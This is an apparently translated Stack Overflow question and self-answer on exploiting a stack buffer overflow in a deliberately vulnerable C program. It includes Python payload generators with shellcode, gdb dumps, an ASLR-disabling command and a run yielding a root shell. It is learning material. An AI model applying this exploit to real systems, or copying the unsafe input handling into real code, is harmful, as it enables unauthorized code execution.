簡體   English   中英

如何執行簡單的 buffer_overflow 攻擊?

[英]How to perform a simple buffer_overflow attack?

我已經嘗試了數千次這樣的攻擊,但都失敗了並以同樣的問題結束。

我已經發布了我的bufferoverflow.c程序的代碼。 我已經用 gcc 以及-fno-stack-protector標志和-z execstack編譯了它。

我在gdb的幫助下調試了這個程序,發現它需要424個字符才能產生分段錯誤[緩沖區溢出]。 我還提供了我的代碼hack.py其輸出我已經存儲在一個名為fuzzing 做完所有事情后,每次我到達這個終點時,當我測試我的程序並使用fuzzing提供它時,它仍然崩潰並且不給我一個 shell!

int vuln() {
    // Define variables
    char arr[400];
    int return_status;
    // Grab user input
    printf("What's your name?\n");
    return_status = read(0, arr, 800);
    // Print user input
    printf("Hey %s", arr);
    // Return success
    return 0;
}
int main(int argc, char *argv[]) {
    // Call vulnerable function
    vuln();
    // Return success
    return 0;
}

上面的代碼是bufferoverflow.c

# Payload generator
## Total payload length
payload_length = 424
## Amount of nops
nop_length = 100
## Controlled memory address to return to in Little Endian format
return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x00'
## Building the nop slide
nop_slide = "\x90" * nop_length
## Malicious code injection
buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xf3\xb2\xb6\x93\x1e\x9d\x9c"
buf += "\x79\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x99\x9b\xee\x0a\x74\x9f\xc3\x13\xf2\xec\xb9\x96\x56"
buf += "\x0a\xd4\xc0\xf1\xb2\xa7\xcf\xde\x35\xb7\x4f\xa2\xfa"
buf += "\x3f\x75\x74\x8d\xc6\x13\xd9\xea\xb9\x96\x74\x9e\xc2"
buf += "\x31\x0c\x7c\xdc\xb2\x46\x92\x99\x0c\x05\xd8\x8d\xcb"
buf += "\x87\xd5\x27\x56\x91\xdb\xd8\xbc\x6d\xf5\x9c\x2a\xbb"
buf += "\x3b\x51\xc1\x49\xd5\x15\x9f\xfc\xb7\xb6\x93\x1e\x9d"
buf += "\x9c\x79"
## Building the padding between buffer overflow start and return address
padding = 'B' * (payload_length - nop_length - len(buf))
print nop_slide + buf +  padding + return_address

上面的代碼來自hack.py其輸出存儲在fuzzing並作為程序的輸入文件。

我希望我的程序在 msfconsole 中給我一個 shell,但它實際上停在了一個點並顯示以下錯誤:

root@kali:~/Buffer Overflow# ./bufferoverflow < fuzzing 
What's your name?
Hey ����������������������������������������������������������������������������������������������������H1�H������H�����H�󲶓��yH1X'H-���������
t���칖V
Segmentation fault
root@kali:~/Buffer Overflow#

好吧,我想出了我的問題! 這很簡單。

假設我有以下代碼:-

#include <stdio.h>

void vuln() {
    char string[1024];
    gets(string);
    printf("%s\n", string);
}

int main() {
    vuln();
}

我將它保存在一個名為script.c的文件中並使用以下命令編譯它:-

gcc -z execstack script.c -o script.elf

在繼續之前,我將禁用 ASLR,這樣它就不會搞砸內存地址:-

echo 0 > /proc/sys/kernal/randomize_va_space

現在像往常一樣,我使用 GDB 調試程序,發現緩沖區位於rbp-0x400並在get函數后設置斷點。 當我啟動程序並給它提供很多 A 時,我檢查了緩沖區,發現我可以覆蓋 RIP 並使其指向接近緩沖區開頭的地址,以便控制跳轉到 NOP -sled 然后向下滑動到 shellcode。 這是檢查 GDB 中的緩沖區的輸出。

(gdb) x/64x $rbp-0x400
0x7fffffffdc60: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdc70: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdc80: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdc90: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdca0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcb0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcc0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcd0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdce0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcf0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd30: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd40: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd50: 0x41414141  0x41414141  0x41414141  0x41414141
(gdb) 

所以我決定讓 RIP 指向0x7fffffffdc70 ,然后我在payload.py 中制作以下漏洞:-

import sys
import struct

offset  =   1032
RET =   struct.pack("Q", 0x7fffffffdc70)

buf  = b""
buf += b"\x90" * 256
buf += b"\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\x66\xc0\xf5\xcb\x71\x99\xa8"
buf += b"\x4c\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\x0c\xfb\xad\x52\x39\x22\x87\x2e\x0f\xae\xda\xb8\x19"
buf += b"\x99\xfb\x04\xef\x27\x9d\xe6\x12\x99\xa8\x04\xef\x26"
buf += b"\xa7\x23\x7b\x99\xa8\x4c\x49\xa2\x9c\xa5\x5e\xfb\xc9"
buf += b"\x3f\x0e\xc0\xa3\x9c\x39\x10\x4e\x43\x63\xc0\xf5\xcb"
buf += b"\x71\x99\xa8\x4c"
buf += b"\x41" * (offset - len(buf))
buf += RET

sys.stdout.buffer.write(buf)

注意:上面的 shellcode 產生了 /bin/sh shell。

現在我將這個python腳本的輸出存儲在一個名為exploit.txt的文件中,並通過exploit.txt將輸入提供給GDB中的程序:-

root@linux:~/Desktop/Buffer Overflow# python3 payload.py > exploit.txt 
root@linux:~/Desktop/Buffer Overflow# gdb ./script.elf -q
Reading symbols from ./script.elf...
(No debugging symbols found in ./script.elf)
(gdb) r < exploit.txt 
Starting program: /root/Desktop/Buffer Overflow/script.elf < exploit.txt
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp����
process 136690 is executing new program: /usr/bin/dash
[Detaching after fork from child process 136694]
[Inferior 1 (process 136690) exited normally]
(gdb) 

等什么?? 我們執行了 /bin/sh 而不是 /bin/dash。 好吧,這看起來不正確,但實際上是正確的,因為 /bin/sh 實際上指向 /bin/dash :-

root@linux:~/Desktop/Buffer Overflow# ls -al /bin/sh
lrwxrwxrwx 1 root root 4 Nov 29  2019 /bin/sh -> dash

但無論如何,這在 GDB 中不起作用! 我在 GDB 之外嘗試過這個,我得到了這些結果:-

root@linux:~/Desktop/Buffer Overflow# ./script.elf < exploit.txt 
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp����
Illegal instruction
root@linux:~/Desktop/Buffer Overflow# 

等等,這很奇怪! 我們應該得到一個正確的 shell,至少在 GDB 中我們能夠執行我們的 shellcode 但在它之外我們得到一個“非法指令”。 天哪,我花了很多時間尋找答案,終於找到了。 原因是,雖然 ASLR 被禁用,因此地址不會改變,但環境變量是罪魁禍首。 因此,環境變量在 GDB 和實際終端中正在發生變化。 我們無法擺脫它們,那么我們如何在運行時確定正確的緩沖區起始地址。

我所做的是在一個終端中執行程序:-

root@linux:~/Desktop/Buffer Overflow# ./script.elf 


現在它正在等待輸入,所以我迅速打開另一個終端並使用以下命令:-

root@linux:~# gdb --pid $(pidof ./script.elf) -q 
Attaching to process 136928
Reading symbols from /root/Desktop/Buffer Overflow/script.elf...
(No debugging symbols found in /root/Desktop/Buffer Overflow/script.elf)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/40/f80fd23b36ba3a7e20f63d615dc1aca83f4262.debug...
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/8a/980b57d17a1e050e7646f9604e8a96824d3691.debug...
0x00007ffff7ecf59e in __GI___libc_read (fd=0, buf=0x5555555592a0, nbytes=1024)
    at ../sysdeps/unix/sysv/linux/read.c:26
26  ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) 

因此,我將 GDB 附加到正在運行的程序,然后在 get 函數之后設置斷點,然后在前一個終端中鍵入一些 A [腳本.elf正在運行的地方],按回車鍵后,我切換回 GDB 終端並鍵入' c' . 所以它繼續並最終到達斷點。 這次我可以准確地分析緩沖區:-

(gdb) x/64x $rbp-0x400
0x7fffffffdcc0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcd0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdce0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcf0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd30: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd40: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd50: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd60: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd70: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd80: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd90: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdda0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffddb0: 0x41414141  0x41414141  0x41414141  0x41414141
(gdb) 

所以現在我將選擇地址0x7ffffffffdcd0作為 RIP 必須指向的位置。 我修改了payload.py並保存了! 然后我使用它的輸出作為script.elf的輸入,我得到了這個:-

root@linux:~/Desktop/Buffer Overflow# python3 payload.py | ./script.elf 
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
root@linux:~/Desktop/Buffer Overflow# 

哇!! Shellcode 執行了,但我們沒有得到一個 shell。 看起來很混亂。 實際上,shellcode 完美地執行並等待輸入 & 因為我們給程序的唯一輸入是payload.py的輸出。 所以如果我們只是使用:-

python3 payload.py && cat

我們可以通過 stdin 提供輸入,它可以通過 stdout 回顯它。 看起來不錯,我們執行 shellcode,程序要求輸入,我們給它輸入,它讀取,在 /bin/sh shell 上執行它,並給出輸出。 太好了,我們怎樣才能讓它工作呢? 很簡單,我們將使用上述命令的組合輸入到script.elf 中,如下所示:-

(python3 payload.py && cat) | ./script.elf

我們得到這樣的輸出:-

root@linux:~/Desktop/Buffer Overflow# (python3 payload.py && cat) | ./script.elf 

����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
ls
exploit.txt  payload.py  script.c  script.elf
pwd
/root/Desktop/Buffer Overflow
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

哇! 修復! 那很簡單。

注意:'ls'、 'pwd''whoami''id'是我在運行時輸入的

所以漏洞利用現在完美地工作了!!

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM